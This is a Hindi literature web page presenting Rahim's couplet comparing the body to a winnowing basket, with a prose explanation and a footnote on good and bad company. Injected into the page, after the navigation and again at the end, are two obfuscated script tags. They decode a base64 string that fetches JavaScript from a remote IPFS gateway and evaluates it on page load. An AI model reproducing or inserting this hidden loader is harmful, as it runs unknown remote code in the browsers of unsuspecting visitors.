रहिमन यह तन सूप है -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

‘रहिमन’ यह तन सूप है, लीजे जगत पछोर ।
हलुकन को उड़ि जान दे, गरुए राखि बटोर ॥

अर्थ

तेरा यह शरीर क्या है, मानो एक सूप है। इससे दुनिया को पछोर लेना, यानी फटक लेना चाहिए जो सारहीन हो, उसे उड़ जाने दो, और जो भारी अर्थात् सारमय हो, उसे तू रख ले।[1]


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हलके से आशय है कुसंग से और गरुवे यानी भारी से आशय है सत्संग से, वह त्यागने योग्य है, और यह ग्रहण करने योग्य।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>